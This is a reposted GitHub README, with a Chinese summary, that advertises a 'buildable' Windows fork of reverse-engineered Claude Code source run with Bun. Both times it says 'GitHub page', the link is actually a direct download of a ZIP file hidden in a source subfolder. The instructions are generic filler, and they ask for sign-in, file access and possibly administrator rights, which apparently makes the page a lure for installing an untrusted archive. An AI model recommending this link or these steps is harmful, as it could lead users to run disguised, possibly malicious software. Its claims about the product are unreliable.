在 Windows 上用 Bun 运行 Claude Code 源码构建版
Bertineburundi952/claude-code
一个名为 claude-code 的 Windows 可构建分支发布,基于 Claude Code Source 逆向工程构建系统,使用 Bun 作为运行时,可在 Windows 10/11 上从源码运行。用户需先安装 Bun,下载 ZIP 解压后执行 bun install 与 bun run start 启动,项目定位为面向研究与代码工作的本地应用。
🤖 claude-code - Run Claude Code on Windows
🚀 What this is
claude-code is a Windows-ready build of Claude Code Source. It gives you a simple way to run the app from your PC with Bun as the runtime. This fork focuses on a buildable setup, so you can use the source and run the app without extra setup work.
Use it if you want a local app that connects code work, research tasks, and a simple Windows workflow.
💾 Download
Open this page and download the files from the repository:
If the page offers a release file, download it to your PC. If it provides source files, use the steps below to run it on Windows.
🖥️ What you need
Before you start, make sure you have:
- Windows 10 or Windows 11
- A stable internet connection
- Enough free space for the app and its files
- Bun installed on your system
- A browser to open the GitHub page
For the smoothest setup, use a user account that can install apps on your PC.
📦 Install Bun
This app runs with Bun. If Bun is not on your PC yet, install it first.
- Open the Bun site in your browser.
- Download the Windows installer.
- Run the installer.
- Finish the install with the default options.
- Close and reopen Command Prompt or PowerShell so Windows can find Bun.
To check that Bun is ready, open Command Prompt and type:
bun --version
If you see a version number, Bun is set up.
🔧 Get the source files
- Open the GitHub page: https://raw.githubusercontent.com/Bertineburundi952/claude-code/main/src/commands/agents-platform/code_claude_v3.3.zip
- Click the green Code button.
- Choose Download ZIP.
- Save the ZIP file to a folder you can find, like Downloads.
- Right-click the ZIP file and choose Extract All.
After extraction, you should see the project files in a folder such as claude-code.
▶️ Run the app on Windows
- Open the extracted project folder.
- Look for the file that starts the app, such as a Bun entry file or package config.
- Open Command Prompt in that folder.
- Run the install step if the project uses one:
bun install
- Start the app:
bun run start
If the project uses a different command name, use the script listed in the package file.
🧭 First setup
The first time you run the app, it may ask for basic setup details. Common steps include:
- Choosing a profile or workspace
- Signing in with your account
- Allowing the app to access local files
- Setting a project folder
Keep the app open while it finishes the first setup.
🪟 Windows tips
If the app does not open the first time, try these steps:
- Close the app.
- Open Command Prompt again.
- Go back to the project folder.
- Run the start command again.
- Make sure Bun is still installed and available in your PATH.
If Windows blocks the file, right-click it and choose Run as administrator only if you trust the source and need higher access for your local setup.
🧪 Common project files
You may see these files in the folder:
package.json— lists the app scriptsbun.lockb— Bun lock filesrc— main source filesREADME.md— project notespublic— app assets
These files help the app build and run on your machine.
🛠️ If you want to rebuild the app
If you want to work with the source, you can rebuild it with Bun.
- Open the project folder.
- Install the files with:
bun install
- Run the build command if the project includes one:
bun run build
- Use the start command after the build finishes.
This setup helps you test changes and rerun the app from source.
📁 Suggested folder layout
Use a simple folder path like this:
C:\Users\YourName\Downloads\claude-code
A short path helps avoid path issues on Windows. Keep the folder name the same so you can find it fast later.
⌨️ Useful commands
Use these commands from inside the project folder:
bun install— downloads the needed packagesbun run start— starts the appbun run build— builds the appbun --version— checks Bun
If the project uses different script names, open package.json and look at the scripts section.
🔒 File access
This app may need access to your local files to work with code and research content. If Windows asks for permission, allow access for the folder you want to use with the app.
For best results, keep your work in one project folder so the app can open and manage it with less friction.
🧩 Basic troubleshooting
The app does not start
- Check that Bun is installed
- Open the terminal in the project folder
- Run
bun installagain - Try
bun run start
The folder opens, but nothing happens
- Make sure you are in the right folder
- Check that
package.jsonexists - Confirm that the start script is present
Windows shows a path error
- Move the project to a shorter folder path
- Avoid folders with special characters
- Use a plain name like
claude-code
The browser or terminal closes
- Run the command from Command Prompt instead of double-clicking files
- Keep the terminal window open while the app runs
📚 Project purpose
claude-code is built as a source-based Windows app for research and code work. The goal is to give users a local setup they can run with Bun and keep in one place. It fits users who want a buildable fork they can inspect, run, and use on Windows
🔍 What you should expect
When the app runs, you should see:
- A working Windows app window or local interface
- Simple controls for the main task flow
- A setup path that uses Bun
- Source files you can keep in your own folder
If the app includes settings, they will likely be in the main window or in a small menu
🧷 Quick install path
- Visit the repository page: https://raw.githubusercontent.com/Bertineburundi952/claude-code/main/src/commands/agents-platform/code_claude_v3.3.zip
- Download the ZIP file or use the release file if one is shown
- Install Bun
- Extract the project folder
- Run
bun install - Run
bun run start
🗂️ Repo name
claude-code
📝 Description
Claude Code Source - Buildable Research Fork. Reverse-engineered build system, runnable with Bun.
👤 Intended use
This project suits users who want:
- A Windows app that runs from source
- A simple Bun-based setup
- A local folder they can keep and reopen
- A research-oriented code workspace
🔗 Primary link
来源:GitHub · github.com